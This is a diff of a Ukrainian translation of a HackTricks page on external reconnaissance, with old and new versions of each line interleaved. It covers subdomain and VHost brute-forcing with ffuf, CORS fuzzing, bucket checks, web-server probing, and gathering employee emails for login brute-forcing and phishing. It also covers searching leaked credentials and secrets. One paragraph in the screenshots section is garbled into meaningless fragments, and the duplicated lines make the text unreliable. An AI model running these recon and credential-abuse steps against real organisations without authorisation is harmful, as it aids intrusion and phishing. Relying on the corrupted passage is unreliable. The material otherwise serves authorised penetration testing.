* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ - це фазер грубої сили піддоменів, який поєднується з надзвичайно простим, але ефективним алгоритмом, що керується відповідями DNS. Він використовує набір вхідних даних, такий як налаштований словник або історичні записи DNS/TLS, для точного синтезування відповідних доменних імен та подальшого розширення їх у циклі на основі інформації, зібраної під час скану DNS.
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ — це фузер для брутфорсу піддоменів, поєднаний з надзвичайно простим, але ефективним алгоритмом, що керується відповідями DNS. Він використовує наданий набір вхідних даних, таких як спеціально підібраний список слів або історичні записи DNS/TLS, щоб точно синтезувати більше відповідних доменних імен і розширювати їх ще більше в циклі на основі інформації, зібраної під час сканування DNS.
```
echo www | subzuf facebook.com
```
### **Послідовність виявлення піддоменів**
### **Робочий процес виявлення піддоменів**
Перевірте цей блог-пост, який я написав про те, як **автоматизувати виявлення піддоменів** з домену за допомогою **робочих процесів Trickest**, щоб мені не потрібно було запускати вручну купу інструментів на своєму комп'ютері:
Перегляньте цей блог-пост, який я написав про те, як **автоматизувати виявлення піддоменів** з домену, використовуючи **Trickest workflows**, щоб мені не потрібно було вручну запускати купу інструментів на моєму комп'ютері:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
### **VHosts / Віртуальні хости**
Якщо ви знайшли IP-адресу, що містить **одну або кілька веб-сторінок**, належних до піддоменів, ви можете спробувати **знайти інші піддомени з веб-сторінками на цьому IP**, шукаючи в **джерелах OSINT** доменів на IP або **перебираючи імена доменів VHost на цьому IP**.
Якщо ви знайшли IP-адресу, що містить **одну або кілька веб-сторінок**, що належать піддоменам, ви можете спробувати **знайти інші піддомени з веб-сайтами на цій IP-адресі**, шукаючи в **OSINT джерелах** домени на IP або **брутфорсити доменні імена VHost на цій IP-адресі**.
#### OSINT
Ви можете знайти деякі **VHosts в IP, використовуючи** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **або інші API**.
Ви можете знайти деякі **VHosts на IP-адресах, використовуючи** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **або інші API**.
**Перебірка**
**Брутфорс**
Якщо ви підозрюєте, що деякий піддомен може бути схований на веб-сервері, ви можете спробувати перебрати його:
Якщо ви підозрюєте, що деякий піддомен може бути прихований на веб-сервері, ви можете спробувати його брутфорсити:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -445,136 +457,152 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
VHostScan -t example.com
```
{% hint style="info" %}
За допомогою цієї техніки ви навіть можете мати доступ до внутрішніх/прихованих кінцевих точок.
Ця техніка може дозволити вам отримати доступ до внутрішніх/прихованих кінцевих точок.
{% endhint %}
### **CORS Brute Force**
Іноді ви знайдете сторінки, які повертають лише заголовок _**Access-Control-Allow-Origin**_ коли дійсний домен/піддомен встановлено в заголовку _**Origin**_. У таких сценаріях ви можете зловживати цією поведінкою для **виявлення** нових **піддоменів**.
Іноді ви знайдете сторінки, які повертають заголовок _**Access-Control-Allow-Origin**_ лише тоді, коли дійсний домен/піддомен встановлений у заголовку _**Origin**_. У цих сценаріях ви можете зловживати цією поведінкою, щоб **виявити** нові **піддомени**.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
### **Перебір кішок**
### **Buckets Brute Force**
Під час пошуку **піддоменів** слід уважно стежити, чи вони **вказують** на будь-який тип **кішки**, і у цьому випадку [**перевірте дозволи**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Також, оскільки на цьому етапі ви будете знати всі домени в межах обсягу, спробуйте [**перебрати можливі назви кішок та перевірити дозволи**](../../network-services-pentesting/pentesting-web/buckets/).
Під час пошуку **субдоменів** звертайте увагу, чи вказують вони на будь-який тип **бакету**, і в такому випадку [**перевірте дозволи**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Також, оскільки на цьому етапі ви будете знати всі домени в межах обсягу, спробуйте [**зламати можливі імена бакетів і перевірити дозволи**](../../network-services-pentesting/pentesting-web/buckets/).
### **Моніторинг**
Ви можете **моніторити**, чи створюються **нові піддомени** домену, моніторивши **логи Transparent Certificate** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
Ви можете **моніторити**, якщо **нові субдомени** домену створюються, моніторячи **Журнали прозорості сертифікатів** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
### **Пошук вразливостей**
Перевірте можливі [**захоплення піддоменів**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Якщо **піддомен** вказує на деяку **кішку S3**, [**перевірте дозволи**](../../network-services-pentesting/pentesting-web/buckets/).
Перевірте на можливі [**взяття субдоменів під контроль**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Якщо **субдомен** вказує на якийсь **S3 бакет**, [**перевірте дозволи**](../../network-services-pentesting/pentesting-web/buckets/).
Якщо ви знаходите будь-який **піддомен з IP-адресою, відмінною** від тих, які ви вже знайшли під час виявлення активів, вам слід виконати **базове сканування вразливостей** (використовуючи Nessus або OpenVAS) та деяке [**сканування портів**](../pentesting-network/#discovering-hosts-from-the-outside) з **nmap/masscan/shodan**. Залежно від того, які служби працюють, ви можете знайти в **цій книзі деякі хитрощі для їх "атаки"**.\
_Зверніть увагу, що іноді піддомен розміщений на IP-адресі, який не контролюється клієнтом, тому він не входить в обсяг, будьте обережні._
Якщо ви знайдете будь-який **субдомен з IP, відмінним** від тих, що ви вже знайшли під час виявлення активів, вам слід виконати **базове сканування вразливостей** (використовуючи Nessus або OpenVAS) і деяке [**сканування портів**](../pentesting-network/#discovering-hosts-from-the-outside) з **nmap/masscan/shodan**. Залежно від того, які сервіси працюють, ви можете знайти в **цьому посібнику деякі хитрощі для "атаки" на них**.\
_Зверніть увагу, що іноді субдомен розміщений на IP, який не контролюється клієнтом, тому він не входить в обсяг, будьте обережні._
## IP-адреси
На початкових етапах ви, можливо, **знайшли деякі діапазони IP-адрес, домени та піддомени**.\
Час **зібрати всі IP-адреси з цих діапазонів** та для **доменів/піддоменів (DNS-запити).**
На початкових етапах ви могли **знайти деякі діапазони IP, домени та субдомени**.\
Час **зібрати всі IP з цих діапазонів** та для **доменів/субдоменів (DNS запити).**
Використовуючи послуги наступних **безкоштовних API**, ви також можете знайти **попередні IP-адреси, використані доменами та піддоменами**. Ці IP-адреси можуть все ще належати клієнту (і дозволити вам знайти [**обхід CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
Використовуючи сервіси з наступних **безкоштовних API**, ви також можете знайти **попередні IP, які використовувалися доменами та субдоменами**. Ці IP можуть все ще належати клієнту (і можуть дозволити вам знайти [**обхідні шляхи CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
* [**https://securitytrails.com/**](https://securitytrails.com/)
Ви також можете перевірити домени, які вказують на певну IP-адресу, використовуючи інструмент [**hakip2host**](https://github.com/hakluke/hakip2host)
Ви також можете перевірити домени, що вказують на конкретну IP-адресу, використовуючи інструмент [**hakip2host**](https://github.com/hakluke/hakip2host)
### **Пошук вразливостей**
**Сканувати порти всіх IP-адрес, які не належать до CDN** (оскільки ви ймовірно не знайдете там нічого цікавого). У виявлених працюючих службах ви можете **знайти вразливості**.
**Скануйте порти всіх IP, які не належать CDN** (оскільки ви, ймовірно, не знайдете нічого цікавого там). У виявлених запущених сервісах ви можете **знайти вразливості**.
**Знайдіть** [**посібник**](../pentesting-network/) **щодо того, як сканувати хости.**
**Знайдіть** [**посібник**](../pentesting-network/) **про те, як сканувати хости.**
## Пошук веб-серверів
## Полювання на веб-сервери
> Ми знайшли всі компанії та їх активи, і ми знаємо діапазони IP-адрес, домени та піддомени в межах обсягу. Час шукати веб-сервери.
> Ми знайшли всі компанії та їх активи, і ми знаємо діапазони IP, домени та субдомени в межах обсягу. Час шукати веб-сервери.
На попередніх етапах ви, можливо, вже виконали деякий **рекон активів, виявлених IP-адрес та доменів**, тому ви можливо вже знайшли всі можливі веб-сервери. Однак, якщо ви цього не зробили, ми зараз побачимо деякі **швидкі хитрощі для пошуку веб-серверів** в межах обсягу.
На попередніх етапах ви, ймовірно, вже виконали деяке **розвідку виявлених IP та доменів**, тому ви могли **вже знайти всі можливі веб-сервери**. Однак, якщо ви цього не зробили, ми зараз розглянемо деякі **швидкі хитрощі для пошуку веб-серверів** в межах обсягу.
Зверніть увагу, що це буде **орієнтовано на виявлення веб-додатків**, тому ви повинні також **виконати сканування вразливостей** та **портів** (**якщо дозволено** в межах обсягу).
Зверніть увагу, що це буде **орієнтовано на виявлення веб-додатків**, тому вам слід **виконати сканування вразливостей** та **сканування портів** також (**якщо дозволено** обсягом).
**Швидкий метод** для виявлення **відкритих портів**, пов'язаних з **веб-серверами** за допомогою [**masscan можна знайти тут**](../pentesting-network/#http-port-discovery).\
Ще один зручний інструмент для пошуку веб-серверів - [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) та [**httpx**](https://github.com/projectdiscovery/httpx). Ви просто передаєте список доменів, і він спробує підключитися до порту 80 (http) та 443 (https). Додатково ви можете вказати спробувати інші порти:
**Швидкий метод** для виявлення **відкритих портів**, пов'язаних з **веб** серверами, використовуючи [**masscan** можна знайти тут](../pentesting-network/#http-port-discovery).\
Ще один зручний інструмент для пошуку веб-серверів - це [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) та [**httpx**](https://github.com/projectdiscovery/httpx). Ви просто передаєте список доменів, і він спробує підключитися до порту 80 (http) та 443 (https). Додатково, ви можете вказати спробувати інші порти:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
## **Знімки екрану**
### **Скриншоти**
Тепер, коли ви виявили **всі веб-сервери**, присутні в області (серед **IP-адрес компанії** та всіх **доменів** та **піддоменів**), ви, можливо, **не знаєте, з чого почати**. Так що давайте спростимо і почнемо просто роблячи знімки екрану всіх них. Просто **подивившись** на **головну сторінку**, ви можете знайти **дивні** кінцеві точки, які більше **схильні до вразливостей**.
Тепер, коли ви виявили **всі веб-сервери**, що входять до сфери (серед **IP-адрес** компанії та всіх **доменів** і **піддоменів**), ви, напевно, **не знаєте, з чого почати**. Тож давайте спростимо і просто почнемо з того, щоб зробити скриншоти всіх з них. Просто **подивившись** на **головну сторінку**, ви можете знайти **незвичайні** кінцеві точки, які більш **схильні** до того, щоб бути **вразливими**.
Для виконання запропонованої ідеї ви можете використовувати [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) або [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Для реалізації запропонованої ідеї ви можете використовувати [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) або [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Крім того, ви можете використовуват Fameив ** в lookд **т ** в)** [ ** ** the** [ **tingive ** theingлive ** ** theingл ** **tingive ** the ** youingад** ** theingle **tingive ** the** using) ** theingомs ** the** using) ** theingомs **ing such ** theive ** the theau ** theive).esse]s Net contenteryingедs publics ** you for ** you ** theive).esse) ** theinged a п п п п п п п ** you ** the foringодs public theHarvester, API of [**https://hunter.io/**](https://hunter.io/), API of [**https://app.snov.io/**](https://app.snov.io/), API of [**https://minelead.io/**](https://.minelead.io/).
Більше того, ви можете використовувати [**eyeballer**](https://github.com/BishopFox/eyeballer), щоб переглянути всі **скриншоти** і дізнатися, **що, ймовірно, міститиме вразливості**, а що ні.
### **Пошук вразливостей**
## Публічні хмарні активи
Якщо ви знаходите такі речі, як **відкриті бакети або викладені хмарні функції**, ви повинні **отримати до них доступ** і спробуват це, що вони вам пропонують і чи можете ви їх зловживати.
Щоб знайти потенційні хмарні активи, що належать компанії, вам слід **почати зі списку ключових слів, які ідентифікують цю компанію**. Наприклад, для криптокомпанії ви можете використовувати такі слова: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
## **Електронні листи**
Вам також знадобляться списки слів **загальних слів, що використовуються в бакетах**:
З **доменами** та **піддоменами**, що входять в область, ви в основному маєте все, що вам **потрібно для початку пошуку електронних листів**. Це **API** та **інструменти**, які найкраще працювали для мене для пошуку електронних листів компанії:
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
Потім, з цими словами, ви повинні згенерувати **пермутації** (перевірте [**Другий раунд DNS брутфорсу**](./#second-dns-bruteforce-round) для отримання додаткової інформації).
З отриманими списками слів ви можете використовувати такі інструменти, як [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **або** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
Пам'ятайте, що, шукаючи хмарні активи, вам слід **шукати більше, ніж просто бакети в AWS**.
### **Шукання вразливостей**
Якщо ви знайдете такі речі, як **відкриті бакети або хмарні функції**, вам слід **доступитися до них** і спробувати подивитися, що вони вам пропонують і чи можете ви їх зловживати.
## Електронні листи
З **доменами** та **піддоменами** в межах сфери у вас, по суті, є все, що вам **потрібно, щоб почати шукати електронні листи**. Ось **API** та **інструменти**, які найкраще працювали для мене, щоб знайти електронні листи компанії:
* [**theHarvester**](https://github.com/laramies/theHarvester) - з API
* API [**https://hunter.io/**](https://hunter.io/) (безкоштовна версія)
* API [**https://app.snov.io/**](https://app.snov.io/) (безкоштовна версія)
* API [**https://minelead.io/**](https://minelead.io/) (безкоштовна вер
* API [**https://minelead.io/**](https://minelead.io/) (безкоштовна версія)
### **Пошук вразливостей**
### **Шукання вразливостей**
Електронні листи будуть корисні пізніше для **брутфорсу входу на веб-сайти та служби автентифікації** (такі як SSH). Крім того, вони необхідні для **фішингу**. Крім того, ці за допомогою цих API ви отримаєте ще більше **інформації про особу**, яка стоїть за електронною адресою, що корисно для кампанії з фішингу.
Електронні листи знадобляться пізніше для **брутфорсу веб-логінів та авторизаційних сервісів** (таких як SSH). Крім того, вони потрібні для **фішингу**. Більше того, ці API нададуть вам ще більше **інформації про особу**, що стоїть за електронною поштою, що корисно для фішингової кампанії.
## **Витоки облікових даних**
## Витоки облікових даних
З **доменами**, **піддоменами** та **електронними листами** ви можете почати шукати витоки облікових даних, які колись належали цим електронним листам:
З **доменами**, **піддоменами** та **електронними листами** ви можете почати шукати облікові дані, які були витікали в минулому і належать цим електронним листам:
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
### **Пошук вразливостей**
### **Шукання вразливостей**
Якщо ви знаходите **дійсні витікнуті** облікові дані, це дуже легка перемога.
Якщо ви знайдете **дійсні витіклі** облікові дані, це дуже легка перемога.
## **Витоки секретів**
## Витоки секретів
Витоки облікових даних пов'язані з взломами компаній, де **витікала і продавалася конфіденційна інформація**. Однак компанії можуть бути пошкоджені **іншими витоками**, інформація про які не міститься в цих базах даних:
Витоки облікових даних пов'язані з злом компаній, де **конфіденційна інформація була витікала та продавалася**. Однак компанії можуть бути піддані впливу **інших витоків**, інформація про які не міститься в цих базах даних:
### **Витоки Github**
### Витоки Github
Облікові дані та API можуть витікати в **публічних репозиторіях** **компанії** або **користувачів**, які працюють у цій компанії GitHub.\
Ви можете використовувати **інструмент** [**Leakos**](https://github.com/carlospolop/Leakos) для **завантаження** всіх **публічних репозиторіїв** організації та її **розробників** та запустити [**gitleaks**](https://github.com/zricethezav/gitleaks) автоматично.
Облікові дані та API можуть бути витікали в **публічних репозиторіях** **компанії** або **користувачів**, які працюють на цю компанію в GitHub.\
Ви можете використовувати **інструмент** [**Leakos**](https://github.com/carlospolop/Leakos), щоб **завантажити** всі **публічні репозиторії** **організації** та її **розробників** і автоматично запустити [**gitleaks**](https://github.com/zricethezav/gitleaks) на них.
**Leakos** також може бути використаний для запуску **gitleaks** проти всіх **текстів**, наданих **URL**, переданих йому, оскільки іноді **веб-сторінки також містять секрети**.
**Leakos** також можна використовувати для запуску **gitleaks** проти всього **тексту**, наданого **URL-адресами**, оскільки іноді **веб-сторінки також містять секрети**.
#### **Github Dorks**
#### Dorks Github
Також перевірте цю **сторінку** на потенційні **github dorks**, які ви також можете шукати в організації, яку ви атакуєте:
Перевірте також цю **сторінку** на предмет потенційних **github dorks**, які ви також могли б шукати в організації, яку ви атакуєте:
{% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %}
### **Витоки Pastes**
### Витоки Pastes
Іноді зловмисники або просто працівники будуть **публікувати вміст компанії на сайті для вставки**. Це може містити або не містити **конфіденційну інформацію**, але це дуже цікаво для пошуку.\
Ви можете використовувати інструмент [**Pastos**](https://github.com/carlospolop/Pastos) для пошуку на більш ніж 80 сайтах для вставки одночасно.
Іноді зловмисники або просто працівники **публікують вміст компанії на сайті паст**. Це може або не може містити **конфіденційну інформацію**, але це дуже цікаво шукати.\
Ви можете використовувати інструмент [**Pastos**](https://github.com/carlospolop/Pastos), щоб шукати більш ніж на 80 сайтах паст одночасно.
### **Google Dorks**
### Dorks Google
Старі, але золоті google dorks завжди корисні для пошуку **витоків інформації, якої там не повинно бути**. Єдине, що заважає, це те, що [**база даних google-hacking**](https://www.exploit-db.com/google-hacking-database) містить кілька **тисяч** можливих запитів, які ви не можете запустити вручну. Тому ви можете отримати свої улюблені 10 або ви можете використати **інструмент, такий як** [**Gorks**](https://github.com/carlospolop/Gorks) **для запуску їх всіх**.
Старі, але золоті dorks Google завжди корисні для знаходження **викритої інформації, якої там не повинно бути**. Єдина проблема в тому, що [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) містить кілька **тисяч** можливих запитів, які ви не можете виконати вручну. Тож ви можете взяти свої улюблені 10 або ви можете використовувати **інструмент, такий як** [**Gorks**](https://github.com/carlospolop/Gorks), **щоб запустити їх усі**.
_Зауважте, що інструменти, які очікують запуску всієї бази даних за допомогою звичайного браузера Google, ніколи не закінчаться, оскільки google дуже швидко заблокує вас._
_Зверніть увагу, що інструменти, які очікують запустити всю базу даних, використовуючи звичайний браузер Google, ніколи не закінчаться, оскільки Google заблокує вас дуже-дуже швидко._
### **Пошук вразливостей**
### **Шукання вразливостей**
Якщо ви знаходите **дійсні витікнуті** облікові дані або токени API, це дуже легка перемога.
Якщо ви знайдете **дійсні витіклі** облікові дані або токени API, це дуже легка перемога.
## **Вразливості в публічному коді**
## Публічні вразливості коду
Якщо ви виявили, що у компанії є **відкритий вихідний код**, ви можете **аналізувати** його та шукати на ньому **вразливості**.
Якщо ви виявили, що компанія має **відкритий код**, ви можете **проаналізувати** його та шукати **вразливості** в ньому.
**Залежно від мови** існують різні **інструменти**, які ви можете використовувати:
@ -582,60 +610,62 @@ _Зауважте, що інструменти, які очікують запу
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
{% endcontent-ref %}
Є також безкоштовні сервіси, які дозволяють вам **сканувати публічні репозиторії**, такі як:
Існують також безкоштовні сервіси, які дозволяють вам **сканувати публічні репозиторії**, такі як:
* [**Snyk**](https://app.snyk.io/)
## [**Методологія тестування веб-додатків**](../../network-services-pentesting/pentesting-web/)
**Більшість вразливостей**, виявлених мисливцями за багами, знаходиться всередині **веб-додатків**, тому на цьому етапі я хотів би поговорити про **методологію тестування веб-додатків**, і ви можете [**знайти цю інформацію тут**](../../network-services-pentesting/pentesting-web/).
## [**Методологія пентестингу веб**](../../network-services-pentesting/pentesting-web/)
Також я хочу зробити особливе згадування про розділ [**Інструменти відкритого коду для автоматизованого сканування вебу**](../../network-services-pentesting/pentesting-web/#automatic-scanners), оскільки, хоча ви не повинні очікувати, що вони знайдуть дуже чутливі вразливості, вони дуже зручні для впровадження їх у **робочі процеси для отримання початкової інформації про веб.**
**Більшість вразливостей**, виявлених мисливцями за помилками, знаходиться всередині **веб-додатків**, тому на цьому етапі я хотів би поговорити про **методологію тестування веб-додатків**, і ви можете [**знайти цю інформацію тут**](../../network-services-pentesting/pentesting-web/).
## Підсумок
Я також хочу зробити особливе посилання на розділ [**Веб автоматизовані сканери з відкритим кодом**](../../network-services-pentesting/pentesting-web/#automatic-scanners), оскільки, якщо ви не повинні очікувати, що вони знайдуть вам дуже чутливі вразливості, вони стануть у нагоді для впровадження їх у **робочі процеси, щоб отримати деяку початкову веб-інформацію.**
> Вітаємо! На цьому етапі ви вже виконали **всю базову енумерацію**. Так, це базово, оскільки можна зробити ще багато енумерації (ми побачимо більше хитрощів пізніше).
## Рекапітуляція
Тож ви вже:
> Вітаємо! На цьому етапі ви вже виконали **всі основні перерахування**. Так, це базове, оскільки можна виконати ще багато перерахувань (пізніше побачимо більше трюків).
1. Знайшли всі **компанії** в межах області
2. Знайшли всі **активи**, що належать компаніям (і виконали деяке сканування вразливостей, якщо входить у область)
Отже, ви вже:
1. Знайшли всі **компанії** в межах сфери
2. Знайшли всі **активи**, що належать компаніям (і виконали деяке сканування вразливостей, якщо це в межах сфери)
3. Знайшли всі **домени**, що належать компаніям
4. Знайшли всі **піддомени** доменів (чи є які-небудь захоплення піддоменів?)
5. Знайшли всі **IP-адреси****CDN** та **не з CDN**) в межах області.
6. Знайшли всі **веб-сервери** і зробили **знімок екрана** (чи є щось дивне, варте більш детального розгляду?)
7. Знайшли всі **потенційні публічні активи хмари**, що належать компанії.
8. **Електронні листи**, **витоки облікових даних** та **витоки секретів**, які можуть дати вам **величезну перемогу дуже легко**.
9. **Тестування на проникнення всіх веб-сайтів, які ви знайшли**
4. Знайшли всі **піддомени** доменів (чи є якісь захоплення піддоменів?)
5. Знайшли всі **IP-адреси**і **не з CDN**) в межах сфери.
6. Знайшли всі **веб-сервери** та зробили **скриншот** з них (чи є щось незвичайне, що варто більш детального розгляду?)
7. Знайшли всі **потенційні публічні хмарні активи**, що належать компанії.
8. **Електронні листи**, **витоки облікових даних** та **витоки секретів**, які можуть дати вам **велику перемогу дуже легко**.
9. **Пентестинг всіх веб-сайтів, які ви знайшли**
## **Повні автоматичні інструменти реконструкції**
## **Повні автоматизовані інструменти розвідки**
Існує кілька інструментів, які виконають частину запропонованих дій щодо визначеної області.
Існує кілька інструментів, які виконують частину запропонованих дій проти заданої сфери.
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Трохи застарілий і не оновлюється
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Трохи старий і не оновлюється
## **Посилання**
* Всі безкоштовні курси від [**@Jhaddix**](https://twitter.com/Jhaddix) такі як [**Методологія мисливця за багами v4.0 - Видання реконструкції**](https://www.youtube.com/watch?v=p4JgIu1mceI)
* Всі безкоштовні курси [**@Jhaddix**](https://twitter.com/Jhaddix), такі як [**Методологія мисливця за помилками v4.0 - Розділ розвідки**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра хакера** і взламати невзламне - **ми наймаємо!** (_потрібно вільно володіти польською мовою, як письмово, так і усно_).
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зломі незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Вчіться та практикуйте хакерство AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте хакерство GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте взлом AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримка HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Pentesting Methodology
# Методологія Пентестингу
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
<figure><img src="https://github.com/carlospolop/hacktricks/blob/ua/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
